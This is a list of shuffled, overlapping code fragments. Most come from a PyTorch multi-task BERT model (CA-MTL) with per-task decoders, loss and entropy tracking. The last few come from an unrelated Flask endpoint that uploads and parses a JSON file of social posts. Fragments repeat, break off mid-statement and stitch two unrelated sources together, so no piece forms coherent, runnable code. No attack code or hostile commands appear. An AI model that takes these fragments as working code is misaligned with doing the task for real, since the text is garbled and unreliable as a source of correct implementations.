"if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0])",
"+ outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if encoder_type ==",
"pertaining to which model/config/tokenizer we are going to fine-tune from. \"\"\" model_name_or_path: str",
"Optional import torch import torch.nn as nn from transformers import BertPreTrainedModel from src.model.decoder",
"self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self,",
"metadata={ \"help\": \"Path to pretrained model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased",
"bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ): super().__init__(config)",
"= ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() )",
"config, model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders =",
"torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for unique_task_id in unique_task_ids_list: task_id_filter =",
"): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output,",
"Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder",
"span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id,",
"unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float()",
"): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task",
") if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1,",
"batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id]",
"from. \"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path to pretrained model or",
"task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds,",
"or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } )",
"src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger =",
"_BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path ==",
"typing import List, Optional import torch import torch.nn as nn from transformers import",
"= field( default=None, metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased",
"src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to",
"which model/config/tokenizer we are going to fine-tune from. \"\"\" model_name_or_path: str = field(",
") encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier of encoder-type to use:",
"outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output",
"): max_mean_batch_entropy = batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss)",
"class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we are going to fine-tune",
"\"help\": \"Path to pretrained model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \"",
"batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) +",
"batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy",
"else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task =",
"self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None,",
"+ outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss =",
"if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] =",
"= torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task =",
"encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if",
"outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list)",
"task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list",
") class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args =",
"labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter]",
"torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy",
"sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = (",
"torch.nn as nn from transformers import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert",
"metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased,",
"import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import",
"\"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier",
"dataclass, field from typing import List, Optional import torch import torch.nn as nn",
") batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None",
"model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList()",
"= field( metadata={ \"help\": \"Path to pretrained model or model identifier from: CA-MTL-base,",
"None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is not",
"to fine-tune from. \"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path to pretrained",
"batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None or",
"data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\"",
"\" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field( default=None, metadata={ \"help\":",
"( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list:",
"= torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for unique_task_id in unique_task_ids_list: task_id_filter",
"+ ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list) outputs",
"\"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\"",
"self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward(",
"@dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we are going to",
"for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None,",
"= batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None",
"== \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path ==",
"= current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task,",
"( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits",
"batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None or batch_entropy_mean",
"as nn from transformers import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import",
"get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\"",
"input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs =",
"input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list",
"== \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif",
"current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter],",
"bert-large-uncased\" } ) encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier of encoder-type",
"batch_entropy_mean ) if ( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy",
"we are going to fine-tune from. \"\"\" model_name_or_path: str = field( metadata={ \"help\":",
"task_id == unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter],",
"return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type ==",
"field( default=None, metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \"",
"unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task",
"@staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\":",
") if ( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy =",
"from dataclasses import dataclass, field from typing import List, Optional import torch import",
"encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args)",
"logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we are going",
"else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like(",
"None for unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id = unique_task_id",
"return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type ==",
") loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy",
"from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger",
"else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif",
"self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2]",
"dataclasses import dataclass, field from typing import List, Optional import torch import torch.nn",
"+ (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return",
"decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels",
"\"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\": return 'huawei-noah/TinyBERT_General_6L_768D'",
"encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args)",
"str = field( metadata={ \"help\": \"Path to pretrained model or model identifier from:",
"batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for",
"elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\": return 'huawei-noah/TinyBERT_General_6L_768D' else:",
"batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for unique_task_id in unique_task_ids_list:",
"= outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if",
"import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\"",
"torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for unique_task_id in",
"loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy =",
"= self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output =",
"nn from transformers import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder",
"\"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args,",
"None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] =",
"head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids,",
"-1),) return outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args)",
"model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" }",
"= data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size,",
"List, Optional import torch import torch.nn as nn from transformers import BertPreTrainedModel from",
"unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy =",
"data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return",
"loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return",
"model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\": return 'huawei-noah/TinyBERT_General_6L_768D' else: return",
"if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config,",
"if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif",
"CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field( default=None,",
"self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean",
"\"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path to pretrained model or model",
"def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type ==",
"loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] + ( batch_entropy_per_task,",
"\"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return",
"inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids,",
"if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,)",
"CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__(",
"data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def",
"src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large",
"== \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif",
"max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs",
"to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel):",
"import torch.nn as nn from transformers import BertPreTrainedModel from src.model.decoder import Decoder from",
"pooled_output = outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy()",
"CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\":",
"CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod",
"batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if",
"__init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type)",
"max_mean_batch_entropy = None logits = None for unique_task_id in unique_task_ids_list: task_id_filter = task_id",
"== \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else:",
"torch import torch.nn as nn from transformers import BertPreTrainedModel from src.model.decoder import Decoder",
"outputs = ( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) )",
"sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, )",
"import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__)",
"bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field( default=None, metadata={",
"\"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\":",
"inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id)",
"outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type",
"max_mean_batch_entropy = batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs",
"self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights()",
"outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type):",
"of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } )",
"task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None,",
"going to fine-tune from. \"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path to",
"= torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits = None for unique_task_id",
"torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self,",
"\"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" }",
"current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy,",
"import logging from dataclasses import dataclass, field from typing import List, Optional import",
"unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0])",
"= torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None or batch_entropy_mean >",
"batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),)"
] |
[
"uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1>",
"ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.'",
"allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET',",
"redirect(request.url) file = request.files['file'] if file.filename == '': print('No selected file') return redirect(request.url)",
"file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File",
"request.method == 'POST': if 'file' not in request.files: print('No file part') return redirect(request.url)",
"selected file') return redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path))",
"in request.files: print('No file part') return redirect(request.url) file = request.files['file'] if file.filename ==",
"from flask import Flask, request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER =",
"'POST': if 'file' not in request.files: print('No file part') return redirect(request.url) file =",
"\\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method ==",
"if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File",
"-*- import os from flask import Flask, request, redirect, url_for from writer import",
"= request.files['file'] if file.filename == '': print('No selected file') return redirect(request.url) if file",
"app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os from flask import Flask,",
"parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload new",
"in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file():",
"parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER",
"Flask, request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS =",
"if request.method == 'POST': if 'file' not in request.files: print('No file part') return",
"app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower()",
"writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER']",
"return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST'])",
"html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new",
"= os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return '''",
"import Flask, request, redirect, url_for from writer import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS",
"UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def",
"python3 # -*- coding: utf-8 -*- import os from flask import Flask, request,",
"= set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in",
"file = request.files['file'] if file.filename == '': print('No selected file') return redirect(request.url) if",
"1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/social/moment', methods=['GET', 'POST']) def update_file(): if request.method == 'POST': if",
"redirect(request.url) if file and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype",
"Flask(__name__) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.',",
"'file' not in request.files: print('No file part') return redirect(request.url) file = request.files['file'] if",
"UPLOAD_FOLDER def allowed_file(filename): return '.' in filename and \\ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS",
"return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>' else: return ''' <!doctype html> <title>Upload new File</title>",
"import parse_sns UPLOAD_FOLDER = 'uploads' ALLOWED_EXTENSIONS = set(['json']) app = Flask(__name__) app.config['UPLOAD_FOLDER'] =",
"request.files['file'] if file.filename == '': print('No selected file') return redirect(request.url) if file and",
"if file.filename == '': print('No selected file') return redirect(request.url) if file and allowed_file(file.filename):",
"and allowed_file(file.filename): path = os.path.join(app.config['UPLOAD_FOLDER'], 'exported_sns.json') file.save(os.path.join(path)) parse_sns(path) return '<!doctype html><title>File uploaded</title><h1>File uploaded</h1>'",
"uploaded</h1>' else: return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> '''",
